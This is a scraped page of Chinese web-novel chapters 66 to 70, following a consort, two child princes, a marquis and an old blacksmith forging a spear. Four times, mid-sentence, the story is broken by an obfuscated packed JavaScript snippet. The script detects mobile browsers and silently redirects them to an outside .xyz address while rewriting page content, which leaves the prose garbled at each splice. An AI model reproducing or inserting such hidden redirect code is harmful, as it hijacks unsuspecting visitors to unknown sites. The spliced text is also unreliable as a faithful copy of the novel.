“哼,当我八岁孩子呢?”沈安安没好气道。 王坡一脸诚恳,胸有成竹道:“不满意,随您处置。” 他心道:‘放眼整个天下,无女子不会对这样宝贝不动心。’ 第66章吾命休矣 沈安安手指捏的嘎嘣响,一脸凶相的冲王坡道:“你要知道骗我的后果可是要骨折的。” 王坡抖着自己的破布袋子,抵到了她面前,“童叟无欺,绝不欺骗,拿吧。” 沈安安把手伸进去,“书?” 她看着书名:《奇迹婉婉》? “这啥呀?” 王坡做了请的手势,“请看,包你满意的。” 沈安安做出了和夜亦天一样的举动,退回了马车里,坐在座椅上翻看着。 扉页写着:‘既是抄家夜,也是搜刮时,夜黑风高八米墙,太子府里空荡荡。 要问东西哪儿去了?且看“郑婉婉”的一生。’ 简简单单两行字,沈安安瞬间精神抖擞。 她每看一页都直呼“神奇。” 她还抽空问着王坡,“真就挥一挥手全带走?” 王坡逍遥自在道:“带走带走。” 沈安安一边看一边问:“你亲眼见过?” 上面的字迹一看就不是活字印刷版,是纯手写的。 因为有些字都错了,又潦草,要不是内容好看她真的不想看。 说不明白的地方还画图,就是这图简单易懂,很上头。 王坡一副忆往昔的模样,“曾经我爷爷是个王者,后来他老人家说声算了。 这一算,我们这些子子孙孙就倒霉喽。” 沈安安:“你在说什么?所以是你爷爷见过?” 王坡想了想,“那时候我还小,也算见过吧。” 沈安安继续埋头看。 约莫半个时辰后,马队停下来休息。 到底是没赶到有客栈的地方,赵小高命令就地安营扎寨。 赵小高刚到帐篷口,一只鸽子就落在了他的肩膀上。 他取下信件,将鸽子放飞,掀开帘子进了帐篷。 烛光摇曳里,赵小高眉头紧蹙。 飞鸽传信是魏大贤送来的,信上说,陛下要陪皇后西巡青州。 赵小高烧了信,命令着帐外的地网:“来人,带那屎壳郎来见我。” “是。”帐外的地网恭敬应了声,转身就去带人了。 帐篷搭建好了,可沈安安看的入迷,不挪动分毫。 夜亦德给她点了两盏灯笼,免得她把眼睛给看废了。 夜亦天也不遑多让,两人真是废寝忘食,还得夜亦德将地网烤好的肉、熬好的粥,送到他们手边。 夜亦德脖子上插着风车,把脑袋凑过来,刚好看到大大的“金殿”两个字。 “北燕当真有纯金的宫殿吗母妃?”夜亦德问着。 沈安安瞥向夜亦天,她知晓夜亦天跟北燕渊源颇深,“有吗?” 夜亦天点了点头,“嗯,是听外祖父说过,应该是从一个什么神秘的地方搬的,具体孤也不清楚。” “将一座宫殿搬到北燕?”沈安安满目疑惑。 越看她越对北燕郑皇后感兴趣了,真想哪天见见。 无论她听到的三言两语传说也罢,还是这本《奇迹婉婉》也好,她都觉得郑皇后是被神话了。 世间哪有那样的人?但能被天下人神话的,定也不是一般人。 沈安安咬了一口夜亦德送到嘴边的烤肉,“看来这王坡还是有点儿东西的。” 夜亦德吹着小风车,“可不是嘛。” 沈安安看了看,教育着:“亦德啊,有时候也需要向你皇兄学习学习。” “嗯嗯,学习学习。”夜亦德把小风车递到她面前来,“母妃吹,我看,我吹累了。” …… 与此同时,轩辕京城。 皇上的御驾在千人斩的护送下,出了皇宫。 偌大的车架上,夜不群轻轻抚摸着皇后安乐的头,不远处的地上跪着瑟瑟发抖的国师巫马道奇。 “这次只许成功,不许失败。”夜不群的声音明明很平静,却压迫力十足。 巫马道奇砰砰磕头,“臣,定当全力以赴。” 他心中想着,完了完了,还是想想到了青州怎么全力以赴的逃命吧。 这郑皇后不会真把皇后给弄醒吧? “朕要的不是你的全力以赴,朕要的是只许成功。”夜不群一道阴森视线,朝着他射了过去。 “你若是敢骗朕,朕就命人将你的肉,每日割一块,在你面前喂狗。 你放心,绝不会让你死掉。” 巫马道奇倒吸一口凉气,干脆也别撑着了,到了青州他先自戕好了。 可是千人斩形影不离,连他出恭都守着,他如何自戕? 夜不群又问着魏大贤,“通知小高了吗?” 魏大贤恭敬回着:“回陛下,信应该已经到了。” “朕听说,他让荣贵妃上阵了?”夜不群的声音听不出喜怒。 魏大贤冷汗直冒,当即就扑通跪在了地上,“小高他可能……陛下,是他冒失了。 荣贵妃现在安然无恙,定不会影响国师的移魂大法。” 巫马道奇:“……” 要么你还是影响一下?最好荣贵妃受点什么内伤,死在路上。 他从来没这么盼望过一个人死掉,他暗暗祈祷:‘苍天啊,就让荣贵妃死掉吧,我愿用我六十年寿命换她死劫。’ 夜不群没再出声。 魏大贤也只能跪着不起。 他看过赵小高给陛下的飞鸽传书,只字未提荣贵妃出征一事儿,只有在给他的私信里说过。 果然什么都逃不过千人斩。 偌大的帝国看似掌握在他和赵小高手中,实则陛下才是那个主宰一切的人。 陛下虽没说罚他,但此时不让他起来,已是说明了一切。 “万辛的位子也该挪挪了。”夜不群冷不丁的一声。 片刻间,魏大贤将所有文武双全的大臣想了一个遍,还真没有一个非常适合驻扎青州的人选。 “陛下,万辛与启东军打交道多年,冒然换人,只怕压不住西北那十万启东军。”魏大贤诚然道。 夜不群冷笑一声,“反了正好,轩辕没有多余的粮饷,不安分,那就下地狱去吧。” 魏大贤此时才明白,有六十万精锐龙虎军驻扎在青州隔壁的叶州,陛下为何还要兴师动众的出动千人斩,原来是要顺便解决青州隐患。 陛下都说的这么明白了,魏大贤也知晓该如何行事了,他回着:“臣明白,臣这就让吏部推举合适的接替人选。 刑部和大理寺会将万辛的罪责昭告天下,将此贼子斩首示众。” 巫马道奇脑袋垂的低低的,脸色变化多样,啧啧啧,说的真好听,无用的时候就是贼子,啊,吾命休矣啊! 夜不群风轻云淡道:“这首辅你也算是当明白了,起来吧。” 魏大贤恭恭敬敬磕了头,“谢陛下。” 他松了一口气,陛下果然还是那个陛下。 第67章五石散 到了戌时,风雪越来越大,再休整下去,真要在这荒郊野岭冻**。 无奈,马队只有顶着风雪继续出发。 马车是坐不了了,沈安安骑着枭龙,将两小只都护在怀中,大氅将他们护的严严实实的。 赵小高为免耽误时间,给王坡也配了一匹马。 王坡手脚是解开了,但却骑在马背上闷闷不乐。 夜亦德探出一颗小脑袋,问着和沈安安并驾齐驱的王坡,“你不跑吗?” “做人要讲诚信,说不跑就不跑。”王坡忽地声音拔高了些,“侯爷待我恩同再造,我定唯他马首是瞻、在所不辞。” 王坡心里苦哈哈,谁家好人吃了**还敢跑?小命要紧,走一步看一步吧。 沈安安瞥了他一眼,今个儿他这是抽了什么疯? 子时,他们抵达了由铁县。 街道上还保持着往日繁华的模样,只是人烟稀少,排排密布的打铁铺子,看的出来都已经关张许久了。 偌大一个县,冷冷清清的,沈安安感觉像是走进了一座废城。 探路的斥候向赵小高汇报着:“侯爷,不能再往前走了,大雪封山,有雪崩的可能性。” 赵小高此时脸色难看,火光的映照下,仿若地狱阎罗。 他抬手示意队伍停下,不悦的冲就近一名地网道:“找个好些的客栈,这几日就歇在这儿了。” “是。”那名地网应下,策马先行去找客栈了。 赵小高冷眸看向王坡,那视线就像刀子一样,仿佛要将王坡千刀万剐了。 王坡也是个识趣的,低着头假装没察觉到。 不多时,地网找到了客栈。 赵小高要了一间上等厢房,洗漱后点了一桌子菜肴,命人将王坡带到了他屋中。 他询问过王坡如何练闭气功,被告知只需闭气方可练成。 于是乎,赶路的途中,赵小高一直都在练习闭气,弄的他头昏脑涨,极不舒服。 他方恍然大悟,若这闭气功如此简单就能练成,又如何成为一门上乘的厉害**的? 两名地网将王坡押了进来。 “侯爷……”王坡刚想张嘴输出,地网“啪”一巴掌呼在了他嘴上。 就听赵小高无波无澜道:“从这一刻开始,他敢呼吸一下,就宰了他。” 下一瞬,王坡左边的地网拔刀架在了他的脖子上,王坡右边的地网伸出一根手指,抵在他的鼻子前。 不是,憋多久这也没说啊? 不过没关系,呼吸嘛,又不是非要用嘴和鼻子,眼睛耳朵哪个不行? 王坡就这么憋着,赵小高就这么盯着。 憋着憋着,王坡毒性发作了,犹如万蚁噬心,意识也在渐渐被吞没,最终倒在了地上。 地网见状,就要挥刀而下,赵小高制止道:“住手。” 他不慌不忙的起身,来到了王坡跟前,一脚踩在了他的肚子上,“本侯问你,闭气功当真只需闭气如此简单就能修成?” 他手上不知何时捏着一只装了五石散的瓷瓶,在王坡眼前摇晃着。 王坡眼泪鼻涕直流,“断无虚言。” 四个字,说的像临终遗言一样,每个字都是咬着牙说出来的。 这种身体的巨大折磨,简直无法言喻。 赵小高足足看了他一刻钟,才将手中的五石散给了他,“这够你用几天了,拖出去。” 其实五石散没有解药,乃是陛下炼制出来专门给天罗地网用的,用量的多少决定了服用之人能活多久。 一般天罗地网都是将五石散用于敌国细作身上,刺探情报的。 而赵小高之所以暂且留着王坡,正是因为想要练成闭气功。 赵小高见王坡真的没骗他,便又坐回了椅子上,长长吸了一口气,许久未吐纳。 一双漆黑眸子染着阴骘,他仍是觉得王坡有所保留。 反正他不急,那就让五石散慢慢的侵蚀那个屎壳郎吧。 沈安安也是美美的吃了一顿。 地网还是会找客栈的,能在人烟稀少的由铁县里找到这么一家有美味的客栈,实属不易。 辣炒牛肉、萝卜羊汤、肚包肉……别看只是简简单单的家常菜,但在闹饥荒的启西,已是人间珍馐了。 空了盘子,瞬间觉得暖和了不少。 “母妃。”夜亦德擦了擦油腻腻的嘴,“时候还早,我们去玩玩吧。” 沈安安低头看了一眼自己微微鼓起的小肚肚,吃得好长得也好。 不似上一世常在军中,大饭量也消耗得掉,现在真是多吃一口都变成了肉。 享福 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446799|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是一回事儿,但美是另外一回事儿。 她站起身,“那就去消消食吧。” 她叫着夜亦天,“回来再看,不玩白不玩。” 夜亦天头也不抬,“不去。” “走吧亦德。”沈安安也不再劝,牵着夜亦德就要出门。 “啪”一声,夜亦天将手中书本摔在了桌子上,小小的人儿颇怒道:“孤说不去,你就不带孤去了?” 沈安安一脸无奈,孩子就是孩子。 她弯腰将夜亦天抱起来,一只手拍着他的背,哄着:“哦哦哦,带你去。” “哼。”夜亦天傲娇的别过了头。 夜亦德朝着她伸出两只胳膊,举的高高的,“我也要我也要。” 沈安安垂眸看了夜亦德一眼,造孽啊,真是够够得了一天天。 她又弯腰将夜亦德抱了起来,“哦哦哦,没手拍。” 她就这么领着两小只,出了客栈。 夜亦德趴在她的肩膀上,呼呼的冷风里他小手举着小风车,转悠个不停。 街上空荡荡的,实在没什么好逛的。 不知走了多久,在一个三岔路口,沈安安正犹豫着要走哪条路。 “当当当”的打铁声传来。 “这么晚了,还有打铁铺开着?我还以为这里的打铁铺都关张了。”沈安安兀自说着,循着声音而去。 现在是打铁淡季,因为并不是农忙的季节,军中所用的武器,也不会寻民间铁匠。 这家打铁铺这个时辰还不打烊,倒是稀奇了。 不多时,沈安安便来到打铁铺前。 大冷的冬天,铁匠光着膀子,连铁匠标配的围兜他都没戴。 打铁炉前,坐着一个半大小子,正奋力拉着风箱。 “咳咳咳。”年过半百的铁匠一边抡着大锤,一边咳着。 嘴里喷出来的唾沫,是红色的。 “爷爷,还是歇着吧。”那半大小子拉风箱的动作未停,扭头不住的看向铁匠,关切着。 沈安安将两小只放下来,看着茅草屋檐下挂着的农具,“这手艺,老人家,后来改行的吧?” “能否帮我打杆枪,只要枪好,价格随你。” 沈安安手上还拿着一把小镰刀,腾出手轻拍着夜亦天的肩膀,“是吧亦天?” 第68章极品中的极品 夜亦天:“哼。” 也没说答应,也没说拒绝。 夜亦德把小风车插在后脖的领子里,拉着夜亦天的胳膊,“皇兄,我和母妃的银票都帮你买粮草给楚家军了。 又不是很贵重的东西,你就买给母妃吧。” 夜亦天抽走自己的胳膊,他也没说不买啊。 铁匠听他们又是皇兄又是母妃的,抡大锤的手顿了顿。 他没理会沈安安,继续打铁了。 对这些皇亲国戚,他恨之入骨,都是一群**不吐骨头的东西。 沈安安只当是铁匠没听见,她又叫着:“老人家?” “当。”这一声,砸的火花四溅。 铁匠抬起头,一双愤恨的眸子瞪着沈安安,但慢慢的,他将愤怒压了下去。 他已经活不长了,儿子儿媳也死在了那场祸事里,如今就剩下一个十一岁的孙子,他得为孙子考虑。 由铁县也是遭战乱影响的地带,多数人拖家带口走了,但他身体不行,也没攒下多少家财。 贸然搬家,耗尽了为数不多的家财,他又时日无多了,他**孙儿可怎么办? 所以,他只能继续留在由铁县,没日没夜的打农具,一则给孙儿尽可能留足安身立命的“本钱”;二则,也希望孙儿能学到自己的手艺,将来用以谋生。 想着这些,铁匠声音缓缓的回着沈安安:“那属于兵器了,私造兵器,杀头大罪,这位贵人另请高明吧。” “无妨。”铁匠声音刚落,夜亦天命令的口吻响起,“孤让你打的,谁敢定你的罪?” 铁匠默不作声,攥紧了大锤咚咚砸着,动静一下比一下大。 一大块烧红的铁块,都被他砸成了铁片,但还在用力砸着。 好似他砸着的是夜亦天。 “混账。”被无视,夜亦天的愤怒瞬间腾升,他上前就要教训铁匠。 沈安安一把按住了他的肩膀,“凡事讲究个你情我愿,既然人家不愿意,那我们就不要为难了。” 这铁匠眼神带着杀气,身上多处陈年旧伤,想来应当是从戎多年的老兵。 寻常百姓听到“孤”这个字早就吓尿了,但他却置若罔闻,看他态度明显厌恶他们。 唉,也不知道老夜家造了多少孽。 “走吧,回去吧。”沈安安牵起两小只的手,转身就欲离开。 夜亦德甩开沈安安的手,转身来到铁匠面前,“老人家,我皇兄近来牛羊肉吃多了,脾气暴躁。 我看你一直都在咳血,就这么一会儿,都咳好几两了吧? 你不为自己考虑,也要为你的后人考虑不是?要不是为了赚银钱,你这么辛苦在这里做什么?” 夜亦德手上多了一张银票,举在铁匠面前,“超级婉你见过的吧?” “一千两,你孙儿去到哪儿不能好好生活?良田、美妾、奴仆……他还缺啥吗?” 被沈安安牵着的夜亦天,从怀中掏出一沓银票,一张一张的数着,“他什么时候拿的?” 沈安安耐心道:“害,谁叫你一路上只顾看书的?你以为亦德喜欢的真是小风车吗? 唉,这王坡也不失为一个人才,啧,就是不知道定国侯拿他怎么样了?” 沈安安知道,肯定是定国侯用什么手段控制了王坡,但具体什么手段,她也不知道。 可能是肉吃多了,脑子不够用吧。 难道享福会让人变傻? 啊!!!锻炼。 “当当当”的声音停了。 铁匠此时觉得,刚才自己当真是昏了头冲动了。 他双手在裤子上擦了擦,回头看了一眼孙儿。 他不语,转身回了屋中。 夜亦德仍挥着手中银票,“老人家?你不再想想?” 沈安**住他挥的正欢的手,“够了够了,已经答应了。” 就在这间隙,就见铁匠抱了一块漆黑的陨铁出来。 “贵人看看,若是觉得值,那便给你打。”铁匠将陨铁费力的放在了案上,示意沈安安可以看看。 远远一瞧,沈安安就知道这是好东西,前一世她也曾督造过兵器,什么样的好锻造材料没见过? 这块,绝对是极品中的极品,不比定国侯那锁链材料差。 “老人家,好是好啊,就是我们囊中羞涩。”沈安安两眼放光盯着陨铁。 夜亦德睁大了眸子,“一千两黄金都不够?” 他们的对话,夜亦天听的清清楚楚。 他拿着所有的银票,递到铁匠面前,“拿去。” 铁匠眉头皱了皱,横看竖看都觉得夜亦天不顺眼,他也懒得理夜亦天。 只冲沈安安友好道:“既贵人慧眼如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446800|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炬,那便好说了。 我不要银钱,我只要我的孙儿铁蛋一生无虞,可否成交?” 启西,已是朝廷弃子。 轩辕各地,更是赋税徭役苦不堪言。 若无权势傍身,银钱就是催命符,多少豪绅死于非命…… 沈安安闻言懵了,已经有俩了还要再来一个吗?而且还要回宫的啊,这她又是娘娘,这不行啊,算了算了。 夜亦天也是一脸懵,他连个荣华宫都出不去,又不得宠,想要带个不清不楚的人进宫,恐怕比登天还难。 “这有何难?成交。”夜亦德稚嫩的声音,在一片寂静里响起来。 铁匠看了看夜亦德,又看了看沈安安,问着她:“他说的可能作数?” 沈安安:“额……” 她一时语塞。 “我乃福王,封地西南,这是令牌,你且看看保不保得住你孙儿一生。”一块金牌从腰间掏出来,亮在了铁匠面前。 金牌上雕刻着一只惟妙惟肖的攀云巨**,巨**的双眼是用红色宝石镶嵌而成的。 铁匠一眼认出,这是亲王才有的规格。 他并非凡夫俗子,岂会认不出这令牌的真假? 再说,龙、**令牌,不经皇命允许,根本无人敢私自锻造,那可是诛九族的大罪。 “我还有个条件,我的孙儿不得为奴为仆。 待他弱冠,若他想要自由,福王殿下可要随他心意,并保他衣食无忧。” 铁匠神色认真的同夜亦德说道。 夜亦德把银票揣回了怀里,“若他长大想要离开,我就在西南给他十倾良田,让他当个土财主。 子孙后代,永受我福王一脉庇荫,说到做到,决不食言,现在你可以打枪了吗?” 小小的人儿言之凿凿,稚气未脱的双眼里皆是皇族才有的笃定,这是权势给予的底气,无需置疑。 “好。”铁匠不假思索的应下。 他扭头叫着孙子,“铁蛋,回屋去跪着。” 沈安安听的云里雾里,这怎么个个神神叨叨的? 就见铁蛋推开了门,挂中堂的地方挂着一幅英俊的年轻男子画像。 沈安安眯眼从已然关上的房门缝里看着画像,越看眉头越皱,难道她梦里见过? 这轮廓、这眉眼、这脸型,咋这么熟悉呢? 第69章器中之王 也没等沈安安多想,铁匠的动作吓了她一跳。 就见老铁匠高大魁梧的身子,坐在矮矮的小木凳上,双手拉的风箱轰轰响。 而那块漆黑的陨铁,已经被他放进了熔炉里。 柴火烧的快,他不停的往里面加柴火,一边拉风箱一边“咳咳咳。”从开始的喷血沫变成了吐血。 一大两小看的是目瞪口呆、心惊胆战。 别为了打一杆枪,把老铁匠给吐**。 夜亦德抬眸看向沈安安,问着她:“母妃,这……要么,算了?” 沈安安闻言,落在铁匠身上的视线转而落在了夜亦德脸上,用眼神给予他回应。 继而,她问着铁匠,“老人家,您这是受了不轻的内伤啊,算了吧,这杆枪我不要了。” 毕竟对于想要之物,她也不想凑合,更不想搭上一条无辜的性命。 材料是上好的材料,老人家的手艺也是上好的,但若是他再年轻个三十岁,打出来的定会是最上乘的枪。 但看他这个样子,拼命打出来,只怕是原本能活半年的,就只能再活几天了。 铁匠强忍着咳嗽,回头看着沈安安回道:“无妨,我定给你打出一杆最好的枪。” 沈安安还想说点什么,就见夜亦德挽起袖子,跑到了熔炉前,“让我来。” 他也不等铁匠有反应,已经双手拉住了风箱,呼呼哈嘿,风箱都要拉的冒烟了。 铁匠终于站起来长舒了口气,此子力气居然如此之大,真乃世间罕见。 火烧的更旺了。 但这陨铁不同于普通锻材,饶是夜亦德不停的拉风箱,铁匠不停的添柴火,直至天蒙蒙亮时,陨铁才有微妙的变化,铁匠这才赶忙抡起大锤。 他旁边放着一缸烧刀子,抡一下喷一口烧刀子。 火花四溅,夜亦天坐在一旁的凳子上,看着书,火花就这么在他眼前起起又落落。 这一夜,两个大人三个小孩,都是彻夜未眠。 但好像谁也没有困意,天大亮了,都还是精神抖擞的。 “咯吱。”房门从里面打开。 沈安安一把揪住夜亦天的肩膀,让他赶紧趁着开门这间隙,好好看清楚屋中那幅画像。 “啪嗒”夜亦天手将手中的书合上,抬眸与她对视,二人皆是不语。 “爷爷,让我来吧。”铁蛋关上房门,来到铁匠跟前,自告奋勇道。 铁匠抡大锤的动作停下来,人老了,不服老也是不行啊。 他把大锤放在一边,“以你的力气,现在还不行,你在一旁看着我打就好。” “那让我来。”夜亦德稚嫩的声音在爷孙俩身后响起。 就见他已经脱光了衣裳裤子,全身上下只剩一条亵裤。 即便是拉了一晚上的风箱,夜亦德看上去还是精力充沛,大冷的冬天,他却冒汗,整张小脸都是通红的。 风雪越来越大,沈安安把夜亦德丢在地上的衣裳捡起来,“亦德啊,穿上吧,别把自己作病了。” 夜亦德充耳不闻,铁匠给他垫了两张凳子,他左右手分别捏着一把大锤,站在凳子上,砸的当当响。 “母妃,你且看我把它震碎。”他左右开弓。 不多时,坚如磐石的陨铁居然开始微微变形。 铁匠不可置信的看向沈安安,“贵人,看来此枪的锻魂之人便是福王殿下了。 未来三日,恐怕要辛苦福王殿下,一旦锻造而成,此枪定是器中之王。” 他解释着:“别看武器都是冰冷冷的一块铁,但也是讲究个灵性的……” 沈安安打断了他,“我们这几日都会在这里,你们忙吧,我先去给你们打饭。” 说着,她又嘱咐了夜亦德几句,便拉着夜亦天一起回客栈打包饭菜了。 便是白天,街道上也没什么来往的行人,连叫卖的包子铺都没有。 “亦天,你觉得那画像上人熟悉吗?”沈安安问着,她心里已经大概猜到是谁了,但就是不肯定。 夜亦天点点头,“似曾相识吧。” 沈安安看他半天也说不到点子上,伸手拍了拍他脑袋上落的雪,“你还是没懂我的意思。” 夜亦天没解释,继续往前走。 他怎会没看出来,那画像上之人同他母妃很像。 但舅父身负**之罪,乃是轩辕的禁忌,一旦提起,无端又要惹来祸事。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446801|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毕竟跟他们同行的人除了地网,还有定国侯,隔墙有耳,小心驶得万年船。 沈安安一介武女,哪会儿想这么多?只当他是脑子看书看傻了,没看出个所以然来。 两人进了客栈。 沈安安来到柜台前,冲掌柜的道:“十斤酱牛肉,十斤白切羊肉,六十个馒头,打包带走,账记在定国侯的头上。” 掌柜的听见她要这么多,又是挑眉又是蹙眉的,但毕竟是贵人,他照做就是了。 于是乎,应着:“得嘞,贵人稍等,马上就好。” 等候的间隙,沈安安牵着夜亦天上楼回屋拿了大氅,正给两小只收拾披风时,忽地想起来夜亦天弱不禁风。 “要不你还是呆在客栈吧,我会跟掌柜的说好,一日三餐都给你送到屋子里来,别你又着凉了。”沈安安冲夜亦天说道。 夜亦天站在门口,“孤没你想的那么弱,去到打铁铺随便寻个地方休息就好了,走吧。” 说完,他率先转身出了屋子。 他们再下楼时,掌柜的已经将东西都打包好了。 食盒里装着牛羊肉,六十个馒头分在两个包袱里。 沈安安把装披风的包袱递给了夜亦天,她则是拎着食盒和馒头包袱,脖子上还挂上两坛子酒。 赵小高站在楼上,望着他们出了客栈。 他问着身旁一名地网,“他们在干什么?” “回禀侯爷,娘娘身手了得,我等也不敢贸然靠近,只打探到娘娘是在打一样什么武器。”地网毕恭毕敬的回着。 “哼。”赵小高冷哼一声,“随她去吧。” 这近乎荒无人烟的由铁县,能有什么好的铁匠和锻造材料? “是,侯爷。”地网应着。 赵小高转身进屋的瞬间,吩咐着:“屎壳郎呢?不是吩咐过你们了,每日按时带到我屋中吗?难不成还要我每日再吩咐你们一遍?” “侯爷,他病了,高烧不退,**抽什么风,泡了一夜冷水,郎中说再不退烧离死不远了。”地网跪在地上回着。 赵小高一挥衣袖,“既他找死,那就让他死吧。” 这闭气功,不学也罢。 第70章叛徒之子 一大一小在雪地里留下一串脚印,不多时便到了打铁铺。 铁匠将他们请到了屋子里,只两间茅草屋,一间做卧房,一间做堂屋。 五个人围着一张小方桌而坐。 刚把牛羊肉端上桌,他们一人拿起一个馒头,正欲大快朵颐时。 忽地,沈安安和老铁匠同时将馒头放了下来。 “贵人们先吃,又到锻炼的时辰了,昨夜倒是给忙忘了。”铁匠说着就出了门,还将房门关上。 沈安安望着已经泪流满面的铁蛋,一脸懵逼。 也不等三人反应,铁蛋刷一下起身,扑通给夜亦德跪下。 “福王殿下,请为小人做主,小人实在是不忍爷爷再受欺凌。 他们打了爷爷这么多年,一日未停,爷爷都快被他们打**。” 夜亦德刚才没反应过来,此时听闻这话,差点被一口酱牛肉给噎死。 刚才吃的太入迷了,他显然还不知道发生了什么。 门外传来打斗的声音。 恶霸的小弟们,多年来都被老铁匠训练成专业打手了。 日复一日,一天比一天抗造,现在都能跟铁匠打的有来有回了。 “交不交?不交是吧?打死你个老东西。” “打死你,再打死你的小龟孙,叫你**都没人烧纸钱。” 房门打开,一道稚嫩又严厉的声音传来,“住手。” 这一道冷冰冰的声音,倒是真让大家停下了手。 恶霸连同小弟皆是回头,见说话的是个小孩儿,一阵“哈哈哈。” “咦~~” “少爷,这小娘子不错哎,捉回家给少爷做个通房丫鬟……” 他们话还未说完,夜亦德的拳头已经朝着他们招呼了过来。 小小的人儿怒火中烧,拳拳到肉,打的小弟们是叫苦连天。 刚才他听铁蛋讲了来龙去脉,这恶少足足打了老铁匠七年。 原因无他,只因来收保护费,铁匠不给,后来他们就惦记上铁匠铺子,下狠手要把铁匠给打死。 但不成想,打了七年都没把铁匠打服。 这由铁县变成如今这样,一部分原因是战乱饥荒,还有一部分原因,就是这恶少横行。 铁匠本想着给铁蛋存够钱财,就去灭了这恶霸的…… 一小弟捂着被打肿的脸,看向恶少,“少爷,这小孩怎么这么能打?要不改天再来?” 不等恶少出声,夜亦德先开口了,“还来是吧?” 他又是一番狠狠教训。 拳打脚踢,虽然没一下是空了的,但他毕竟是个孩子,也没杀过人,便是有无数次机会,他也没下死手。 沈安安看的是一清二楚。 她迈步上前,款步走过去,停在了恶少面前。 恶少看着如花似玉的她,笑嘻嘻的就要调戏。 可下一瞬,沈安安纤细的手伸出,掐在了他的脖子上。 没给恶少任何反应机会,“咔”一声,扭断了他的脖子。 恶少至死,脸上都带着邪恶的笑。 一具软塌塌的尸体,自沈安安手中掉落,倒在了地上。 小弟们更是吓的惊慌失措,连连后退,和沈安安保持着安全距离。 “你你你,你完了,你知道这是谁吗?”害怕归害怕,但小弟们也不敢跑,领头那个脸色惊恐的指着沈安安道。 沈安安拍了拍手,“爱谁谁,要么死,要么滚。” “我们老爷,可是当今首辅大人的救命恩人。 我们少爷,更是首辅大人的义弟,你死定了,给我等着。” 小弟说完,又看了一眼地上尸体,到底是没敢挪动尸体,领着人跑走了。 可不敢把尸体带回去,万一老爷说是他们害死的,他们无法交代。 夜亦天看着跑远的小弟们,冷冷的冲沈安安说:“此事既与首辅有关,那就一不做二不休,沈安安,把他们都杀了,省的这事儿传到首辅耳朵里去。” 沈安安看着一个个正在跑远的身影,“要你说。” 她话音落,那群小弟,开始接二连三的倒下。 她给过他们机会了,死,是他们自己选的。 自作孽,不可活。 这到处光秃秃的,也没个地儿处理尸体,她只能先拖回屋里了。 她脸不红心不跳的,一手抓一具,三两下就将尸体全都摞在了铁匠家的卧房里。 把门帘放了下来,以免影响他们吃饭。 沈安安大快人心,铁蛋却吓坏了,就连老铁匠也被她这雷霆手段震惊的一时无措。 果然,能嫁给老夜家的,都是这等心狠手辣之徒。 老铁匠对沈安安的一丝友善,瞬间荡然无存了,这位娘娘,比起先帝皇后,有过之而无不及。 也是,九阎王本就比先帝狠辣无情的多。 铁匠转眸看着中堂处 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446802|169421||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 挂着的那幅画像,斩钉截铁道:“这杆枪我不打了,你们走吧。” 沈安安和两小只被这句话搞的一脸懵逼。 便是铁蛋,也是一脸不解。 夜亦德没了吃饭的心情,他把馒头往桌上一丢,“你什么意思?我母妃替你惩恶,你反倒不守信用。 我都答应你了,你还要怎样?” “哼,我就是猪油蒙了心,多说无益,请自便吧。”铁匠道。 夜亦德:“走就走。” 他拉着沈安安的手,“母妃,回京我找工匠给你打最好的,我就不信了。” 夜亦天却纹丝不动,他瞥向那幅画像,“普天之下,敢恨皇族的,恐怕也只有启东的宇文家了。 你是孤舅父什么人?看在你供奉舅父多年的份上,孤不与你计较,你且细细说与孤听。” 他不开口还好,一开口铁匠简直忍无可忍。 “你不配叫少主舅父,你个启东叛徒之子,有何颜面喊少主舅父?”铁匠怒从中来。 沈安安和夜亦天听得云里雾里,这又是个什么情况?先皇后不是和宇文少主姐弟情深吗?怎么这会子先皇后又成了叛徒? 夜亦德睁着圆溜溜的眼睛,问着铁匠,“你到底在说什么?我生母不是这样说的。 她和先皇后交好,先皇后的事儿她都知晓的,你冤枉谁呢?” 夜亦天脸上是怒色,敬铁匠乃母族之人,他还是留了几分客气。 